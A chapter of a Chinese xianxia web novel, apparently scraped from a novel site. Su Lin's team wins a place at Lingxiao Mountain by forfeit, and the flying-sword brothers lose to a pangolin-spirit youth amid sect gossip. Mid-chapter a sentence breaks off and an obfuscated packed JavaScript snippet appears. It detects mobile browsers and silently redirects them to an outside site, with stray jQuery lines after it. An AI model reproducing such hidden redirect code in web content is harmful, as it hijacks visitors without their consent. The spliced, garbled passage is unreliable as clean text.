15. 第 15 章

作品:《盗生

    灵霄山内选大会最后一天,上午每个擂台都只有一场比赛,很快就结束了。


    胜出的五支队伍连同轮空的一支队伍参加下午的决赛。


    广场上,擂台只剩下了三张,六支队伍决出前三名,便可以留在灵霄山,拜入灵山派。


    苏林眼巴巴地望着冷杉出列去抓阄,还别说,以前没留意,今天仔细盯着看才发现冷杉似乎又长高了,身材匀称,动作轻捷,像只小豹子似的。


    只见他几步走到八仙桌前,抬起右手伸进箱子,抓出一个纸团儿,展开一看,对桌后的人说了句什么,负责登记的师兄画了几笔,然后冷杉轻快地跑回来。


    “抽的什么?”苏佑问。


    “一号。”冷杉说。


    这说了等于没说。


    苏林问:“对手是谁?”


    冷杉说:“还不知道,等下宣布,我旁边的那个,就是有飞剑的那个,是三号。”


    苏林有点不爽,她本想着决赛如果能抽到跟那飞剑队干一架,她肯定用修为,毫无保留地用,管他被人发现不发现,反正就是要让他们也尝尝被碾压的感觉,让他们欺负人!


    可惜没对上。


    令苏林更加不爽的是,比赛安排出来,下午场的决赛,三支关系队竟然全部完美错开。


    都说人无语到了极点,反而会笑。


    苏林亲身验证了这句话的正确。


    分明是盲盒抓阄啊,怎么就这么巧呢?


    难不成真是天意和运气?


    苏林也闹不清楚了。


    他们四个上午赢得轻松,也没什么好准备的,早早登上擂台,等待对手。


    一号擂台的监考又是莫怀仁。


    苏林看着他有点犯愁,等会儿说不好要捻诀施法,闫林秀当年跟莫怀仁是一个小队的,法术修为从无到有,由浅入深,熟悉得不能再熟悉了,肯定会被他认出来。


    苏林并不怕被人发现身负神奇的高深修为,但是不想被莫怀仁揪出来,那感觉不太美好。


    还是看情况吧,如果能保存实力就保存实力。


    再说了,她不是一个人在战斗,还有同伴呢!


    此时“冷苏苏”小队里,除了一个隐藏的金丹高手,还有一个天资拔尖的新秀,更有望气天才和后台大佬。


    好一支实力超群的队伍!


    岂有不胜的道理?


    就等对手上场,一决雌雄。


    此时比赛时间已过了,对方还没有出现。


    二号、三号擂台上,两场比赛已经开始了。


    苏林他们面面相觑,不约而同朝台下看去,不一会,看到一个小童,从场外跑来,穿过人群,走到他们这里,在台下喊莫怀仁。


    “莫师尊,‘永不言败’小队申请弃权,他们有个队员刚才昏迷了,请了医馆大夫去看,人救过来,可是没法比赛了,他们让我来传话,等下会写个书面的弃权书送来。”


    哦豁,相似的一幕再次上演。


    周围轰然一声炸开了,有人叫着,有人笑着。


    苏林听过不清他们叫的什么,也不知道他们在笑什么,欢乐的气氛并没有感染她。


    他们这支队伍没正紧比一场比赛,轻轻松松进入前三,拿下了留在灵霄山的名额。


    苏林觉得有种荒诞的讽刺感。


    真正的苏林甚至连练气都不会,连经脉都没完全冲开,她就是个凡人啊!


    不知是不是错觉,她觉得莫怀仁朝他们看了一眼,眼风冷冷的。


    莫怀仁作为监考,在比赛成绩单上签下名字,按了手印,边擦手上的印泥边准备离开。


    王小虎正被恭贺的人群围在下擂台的台阶处,见状忙拨开人出来,对莫怀仁一揖,道:“莫师尊,这几日叨扰师尊,为表谢意家父在......”


    “不必谢我。”莫怀仁打断道:“谢你大爷吧!”


    虽说王首座的确是王小虎的大爷爷,但莫怀仁这话听着总觉得有点儿奇怪。


    他说罢也不容王小虎再言,自去了。


    周围人因王小虎跟莫怀仁说话,都静下来,默默退开,此时见莫怀仁走了,才又围上来。


    一个跟王小虎有几分相似的少年,看着莫怀仁的背影,撇了撇嘴,问王小虎:“你干嘛呢?招惹他?”


    王小虎朝莫怀仁走的方向,很不舍地望了望,把那少年推下擂台,两人亲亲热热去登记台登记名字。


    王小虎走到擂台下,想起冷杉等人,转身朝他们招手:“去登记名字啊!”


    冷杉、苏佑和苏林三个人便跟着去了。


    他们路过其他擂台时,二号擂台恰好比赛结束,人群嗡嗡的,有人在那里议论:“筑基打练气,能有什么悬念?要是跟飞剑那队对上,才有些看头。那边还没结束吗?”


    “一台有人弃权,结束了;三台还在打。”有人说。


    “还在打?那台上不是能御剑的那组吗?谁能扛这么久?”


    “嘿,别说,还真打得有来有往的。”


    “不是有飞剑吗?”


    “能硬打到这时候的,也不是等闲之辈啦!”


    “张家小哥俩能胜吗?”


    “不好说,飞剑已经被打歇菜一把了。”


    “这么激烈!那我去看看。”


    苏林闻言怔了一怔,脚下就想往三号擂台挤,但此时只剩这一场激烈赛事,人人都争相去看,根本没她什么事儿。只听得人群里头不时发出一阵阵惊呼,随之引发一波波人潮涌动。


    苏林被挤得往后仰,退着退着,退到了自己这边擂台,干脆爬上台去观战。


    擂台上已经站了许多人,连栏杆上都挂了不少人。


    苏林一边跳着看,一边找可观战的缝隙。


    这一看正好看见飞剑在上空盘旋,突然瞅准目标,飞速下落,发出一阵尖锐的啸声。


    苏林一惊,有必要把剑拉这么高吗?这力量,谁挡得住?


    眼见飞剑下落,苏林顾不得其他了,直接撑住前面两人的肩膀跳起,睁大眼睛看见那飞剑直咄咄射向一个黑胖的少年,那少年并未动,瞅准剑来,竟转身团成一个球。


    苏林心道,这是什么功法?


    瞬息间,剑锋已即,却看那少年拱桥似的背上突然显现出一片硕大的黑褐色大甲,噌朗一声刺耳的响声,那飞剑竟然从黑甲上滑开,余力让它一头扎进旁边的擂台栏杆上,把栏杆碎成粉末。


    众人又是一阵惊呼。


    “哈,是穿山甲!”人群中有人认出黑胖少年的真身。


    “原来是穿山甲修成精,自带的本命盔甲,那练气期的飞剑是扎不透。”众人恍然大悟。


    有了这层厚甲,让对方飞剑没法施展,于是战斗拖了下来,开始比拼近战实力,飞剑只能作为远程协助武器。


    场上好看起来。


    穿山甲所在小队防守、攻击很有章法,四个人配合默契,一步一步往前推荐,几乎是从容不迫了。


    而飞剑小队因为前期飞剑的碾压式进攻,四个人的配合就差了许多,此时飞剑被废,顿时慌张起来,连连后退。


    那御剑的张家兄弟,高个的手中挥舞,唤回剑来;矮些的那个手中握着残剑防御。


    被他们看中的同伴也不是等闲之辈,一时被打乱阵脚后很快反应过来,跻身上前,护住张家两人。


    眼看两队人马上要短兵


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15533633|170884||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    相接,苏林手上一空,被人撂下了。


    她的个头不高,落在人群中,怎么跳脚都看不见对面战况,只能听周围人的实况转播。


    “张康张泰也是背时,怎么就遇到这么个带壳的。”有人开玩笑说。


    苏林暗暗收集信息:原来这飞剑两兄弟是叫张康张泰。


    “怪不着他俩,只能怪张首座消息没摸透,早知这样,让他们哥俩去什么定山派,直接去白马寺,跟这穿山甲作队友,早赢了。”


    “人家也得避嫌不是,白马寺跟白马湖就一巴掌远。”


    “你以为他不想啊,长门得让他们去啊!”


    眼见有人越说越深,有人示意大家克制:“哎哎哎,都是各凭本事考进去的。”


    众人警醒,这场上首座长老师尊坐了一大堆,有些话平时说得,此时却说不得,于是都闭嘴不谈,专心去看比赛。


    苏林比赛没看着,默默听了一肚子八卦。


    原来张康张泰是白马湖张首座的亲戚。张首座,是白马湖宗门排序第一的张长老吗?听着这张首座似乎跟长门王首座不大对付。


    不知是不是当年闫林秀没关心这些,还是当年不够格被各家族拉拢,没听过这些呀!


    看这些人说得有鼻子有眼,又十分稔熟,可见宗门间的矛盾已经相当大、公开化了。


    如果真如众人所传,那长门是乐于见到张家兄弟淘汰的。


    这场比赛,是张家哥俩倒霉,还是有人暗中操作,就不好说了。


    苏林反正无所谓,只管看比赛就成。


    张康的飞剑仍不时发起攻击,但在苏林看来,这飞剑的攻击力比上午差了一大截,是莫怀仁那一下子削弱的吗?


    苏林这才想起,莫怀仁也是长门的,但他拒绝王小虎的示好很干脆,而王小虎的背后是王首座。


    这其中有什么隐情吗?


    苏林心中的八卦之火熊熊燃烧。


    此时听得擂台那边传来一阵喝彩和惊呼。


    离得远、没看见的人忙问:“怎么了、怎么了?”


    有人传出话来:“有人掉下擂台了。”


    有人接力传播:“张康张泰掉下擂台了。”


    “张泰被打残了。”


    “张康站不起来了。”


    ......


    传到苏林这里的时候,已经是:“张泰被打死了,张康七孔流血。”


    苏林人都懵了,一个内选名额而已,不至于这么狠吧!


    最终,出乎意料的,“穿山甲”队竟然打败了“飞剑”小队,成为留下的三支队伍之一。


    至此,内选大会圆满结束,胜出的十二个人全部收入灵霄山长门初云馆,待进一步考核,再选拜入不同宗门。


    不知怎么,苏林听到这个消息,竟然有些开心,欢欣鼓舞地跟着人群欢呼了几声,去看那获胜的队伍。


    此时人群已经散开了。


    苏林能看清那边不少人正把穿山甲少年抛起来庆贺,旁边有个清瘦的同伴,一边裹着手上的伤,一边朝擂台下走,下面有个小童接应他,小童不知说了什么,那少年随着小童手指方向望去,苏林也随之望去,看见坐在高台上正跟人笑谈的王芸迩。


    王芸迩跟那少年遥遥相望,笑了一笑。


    那少年从小童手中接过什么东西,朝王芸迩也是一笑。


    苏林脸上的笑容顿时散去,取而代之的是自嘲一笑。


    她把视线从人群中转开,举目望去,灵霄山中各峰秀插云霄,云海日暮,壮丽秀美。


    当年闫林秀也是从这里开始,当时的她看到山中景色震惊得合不拢嘴;此时重回这里,苏林觉得,不过如此。